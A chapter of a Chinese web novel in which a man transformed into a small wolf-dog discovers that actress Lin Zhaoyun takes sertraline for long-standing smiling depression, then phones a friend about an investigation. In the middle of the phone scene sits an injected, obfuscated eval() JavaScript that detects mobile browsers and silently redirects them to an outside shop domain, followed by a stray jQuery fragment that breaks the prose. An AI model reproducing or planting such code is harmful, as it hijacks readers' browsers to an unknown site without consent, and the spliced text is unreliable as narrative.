如果他没猜错的话,暗格里被压扁的纸片就是他一直找的药片的原盒。

    塑封过的票根被林昭韫捏在手里,挡住了他大部分的视线。

    为了更清楚地看到药盒的名字,祁佑在她怀里小幅度挣扎了下,随后小巧的身形稳稳地落在床头柜旁。

    没有了阻碍,他能够更加清楚地看到抽屉里被拆开的药盒,它们被一个个堆叠起来,所以他只能看到最上面的盒子,写着盐酸舍曲林片。

    这个名字是他不曾见过的。

    “可以查询盐酸舍曲林片的作用吗?”祁佑试探性地问了问系统,但心里对它没抱有期待。

    可现实却给了他一个惊喜,下一秒,系统的声音在脑海中响起:“搜索功能不需要额外支付幸福值,可以放心使用。”

    “我要答案。”

    “根据检测,舍曲林的药理机制是选择性抑制中枢神经……”

    眼见它越说越偏,祁佑连忙开口打断道:“停……它治疗的疾病是什么?”

    “抗抑郁、抗焦虑和改善躯体化症状。”

    抑郁症?

    “你是说林昭韫有抑郁症吗?”他的声音带着一丝不可察的惊讶和颤抖。

    系统感受到他的情绪波动,停顿了下,冰冷的机械音再次响起:“没错,这种药的适用人群往往是长期维持性用药患者,这意味着,她不仅有抑郁症,甚至已经持续了很多年了。”

    按理来说,他应该发现的。从前他不是没有接触过抑郁症患者,可是他总觉得林昭韫和那些人都不一样。

    到底是哪里不同?

    问题一出,他的脑海中忽然浮现出她面对许凌松时、面对她父亲时,那抹倔强上扬的嘴角。

    她在面对他们时,那种对自我情绪的控制明明比普通人还要厉害,为什么会……

    “这是抑郁症的一种——阳光型抑郁症,也是我们常说的微笑抑郁症。”察觉到祁佑的疑惑,系统适时开口回答道。

    难怪,那这样一切就都说得通了。

    之前被他忽略的细节在此刻都被这根线串联起来,那些之前被他合理化的“异常”,通通有了更加合理的解释。

    公司知道她在生病吗?她又为什么会患上这个病?

    疑问不停地往外冒着,那双浅蓝的眼瞳,带着他自己都不知道的震惊与心疼,但更多的还是叹服和肯定。

    京市是一个吃人的地方,懵懂地进去,世俗地出来。更何况,娱乐圈本身就是一个吃人不吐骨头的地方。

    她是真的想成为一个好演员。纯粹的、倔强的梦。

    如果说刚刚看到她的天赋,那现在他看到了她的执着。

    窗外天光大亮,阳光透过窗帘给她的脸镀上了一层柔光,更显倔强和执着。

    他的视线存在感极强,林昭韫感受到后,逆着光看去,发现小狼仰着头,一瞬不眨地看着她,像在思考的模样。

    她唇角微扬,弯下腰将他再次抱在了怀里,说道:“你一只小狗还有需要你动脑的事情吗?”

    这次祁佑没有挣扎,只是静静地看着,最后干脆顺势躺在了她的臂弯里。

    许是刚刚那场戏占用了她太多的情绪,现在蓦然安静下来,身体有些吃不消。手微微颤抖着,连带着一双眼皮也沉重了些。

    林昭韫抬头看了眼挂在墙上的时钟,忽然起了兴致,冲着怀里的祁佑说:“小狼,我们午睡吧。”

    说罢,她拉上了房间的窗帘,根本没给祁佑反应的时间,一人一狗就这样躺在了床上。

    “小狼你听到我刚刚的台词了吗?”房间里静悄悄的,她的语调上扬,带着些他之前没见过的轻快,“我觉得我这次发挥的很好,如果姐姐看到,肯定也会夸我进步了。”

    “汪汪汪!”祁佑连忙附和道。他认可。

    她自顾自说着,根本没指望小狼会给她反馈。

    瞧他这样激动的模样,不知道还以为他听懂了呢。

    “你也赞同吗?”

    “汪!”

    【幸福值+2】

    如今她也可以无顾虑地分享自己了。小狼虽然不懂,可是永远不会让她的话掉在地上。

    其实午睡这个词自从高中后,就再也没有出现在她的日程安排里。

    她总是很忙。忙着学习,忙着刷题,忙着锻炼演技,忙着帮辅导员处理事情,似乎总有忙不完的事情。

    从前的林昭韫或许也想不到,在未来的某一天,她不仅能够靠自己战胜失眠,时隔八年,她竟然还能够在天亮时合上双眼。

    感受到怀里的女孩呼吸逐渐变得平稳,祁佑轻轻转了个身,发现她果然已经熟睡了。

    柔软黑亮的发丝贴在女孩的脸庞,平添了几分清冷和脆弱。

    他怔怔地看着,一时间竟也忘记了接下来要做的事,伴随着她绵长轻缓的呼吸声,他竟也神奇般地睡着了。

    两个孤独要强的灵魂,终于在此刻得到了短暂的小憩。

    祁佑是被女孩梦中的呢喃声喊醒的。

    “姐…姐,不…不要走。”女孩的声音几乎破碎,哽咽得几乎说不出一句完整的话。

    缓缓睁开眼,映入眼帘的是女孩水痕遍布的脸庞。那块被沁湿的枕头不知承载了她多少委屈和心酸。

    祁佑轻轻起身,走出了房间,没有惊扰到睡梦中的姑娘。

    这一觉将天上的太阳都睡不见了踪影。

    晚上,院子里的太阳能路灯都亮了起来,给夜色平添了几分温度。

    他回头望了一眼,小心翼翼地来到了院子,“系统,把我的手机调出来。”

    按理来说,客厅比院子更好藏。

    可客厅的目标太大,一旦林昭韫起床推门而出,那后果不堪设想。

    他缓步走到她房间窗户的窗台下,卡着视野取出了手机。

    这几天除了方晏淮,再没人联系过他。

    “系统,我只兑换人声的话需要多少幸福值?”

    “需要20点。”

    “10点。”

    “已成功兑换,限时24小时,可提前结束。”

    话落,祁佑从喉间发出了他熟悉的声音。

    今天是十五,是他们一家约定好的通话时间,这也是为什么他要将自己的声音换回来。

    方晏淮像是有感应一般,没等他给周靓女士打过去,他的电话反倒先打了进来。

    “阿佑,现在想联系上你真是比登天还难了。”

    “你现在在Moonlight?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632914|206458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    电话那头,方晏淮的背景音他再熟悉不过,酒杯碰撞发出的清脆声也一并传进了听筒,祁佑意有所指道:“别耽误正事。”

    “那不然?你托我办的事我哪件没办好?”听到他熟悉的、简洁的说话方式,方晏淮最近悬着的心才真正落回了肚子,冲着身边的人说道,“不喝了,我先上楼了,你们慢慢玩。”

    “许凌松查的怎样?”

    “我办事你还不放心?”

    “查多少了?”

    “有点眉目,但是还没那么快。”

    “大概还需要多久?”

    “七天左右。怎么感觉你很着急的样子?”祁佑哪能听不出方晏淮的旁敲侧击,他能憋这些天,都已经是他的极限了。

    七天后,第一期直播节目差不多也快到尾声,时间不算晚。祁佑在心里想着。

    见他不说话,方晏淮还以为是他把电话挂了,“喂?”

    “没挂。”

    “你还没和我说为什么你要我调查他,我记得他们公司主要的产业是影视这一块的吧,和你专业完全八竿子打不着,你为什么搞他?”

    “想做就做了。”

    听到他的回答,方晏淮那双潋滟的桃花眼微微眯起,上楼的脚步稍有停顿,像是听到了什么好笑的事情。

    他和祁佑从小穿着一条开裆裤长大的,祁佑什么样他还不知道?

    想做就做这四个字放在谁身上他都不惊讶,唯独和祁佑匹配不上。

    他做事从来都讲究原因,这一点在他脍炙人口的作品中体现得淋漓尽致。

    祁佑总说,作品是一件很私密的东西,所以他从来不随大流,他只表达自己想表达的东西。

    倾诉欲往往诞生在他的作品前。每当他有想说的话时,他才会拿起吉他开始谱曲。

    他在日常生活中更是如此,认识他这些年,他几乎天天都是家里、Moonlight和工作室,三点一线。

    “阿佑,你骗骗别人得了,你这话说出来你觉得我会信吗?”

    “……为了某个人。”看着窗户里熟睡的身影,祁佑最终还是说出了问题的答案。

    起初,他只是单纯地想要利用许凌松来达成自己增加幸福值的目的。

    可随着和林昭韫的接触,他对许凌松的态度也发生了转变。

    从一开始只觉得他对自己有用就行,到现在他确定,自己一定会将他换掉,这其中的每一步都在他的意料之外。

    他实在讨厌不受控制,讨厌变化,可这一切,自己却又情愿。

    “人?什么人?男的女的?我认识吗?”方晏淮一听到这就来劲了,连苦也不喊了,连忙问道。

    一连串的问题朝他抛来,祁佑皱了皱眉,“挂了,待会我还要给我妈打电话。”

    “哎!等等,你最近在忙什么,连回答我几个问题的时间都没有了?”方晏淮不死心,追问道。

    祁佑叹了口气,正当他准备解释的时候,却发现窗户里的身影翻了个身,随后坐了起来。

    林昭韫醒了。

    意识到这一点,他直接挂断了手里的电话,小跑着朝房间里跑去。

    他不知道自己为什么会这样做,或许,他只是不想再看到她因他而惊慌失措的模样。